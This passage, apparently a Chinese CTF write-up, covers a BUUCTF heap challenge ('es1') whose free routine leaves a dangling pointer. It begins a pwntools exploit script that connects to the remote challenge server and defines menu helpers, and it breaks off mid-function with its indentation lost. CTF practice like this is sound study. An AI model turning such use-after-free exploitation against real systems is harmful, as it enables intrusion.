查看保护
再查看ida
大致为alloc创建堆块,free释放堆块,show输出堆块内容
但是要注意一点free没有清空堆块指针
完整exp:
from pwn import*
from LibcSearcher import*
p=process('./es1')
p=remote('node5.buuoj.cn',26841)
def alloc(size,content1,content2):
p.sendlineafter(b'choice:',str(1))
p.sendlineafter(b'name',str(size))
p.sendafter(b'please input name:',content1)
p.sendafter(b'please input compary call:',content2)
def show(index):
p.sendlineafter(b'choice:',str(2))
p.sendlineafter(b'Please input the index:',str(index))
def free(index):
p.sendlineafter(b'choice:',str(3))
p.sendlineafter(b'Pl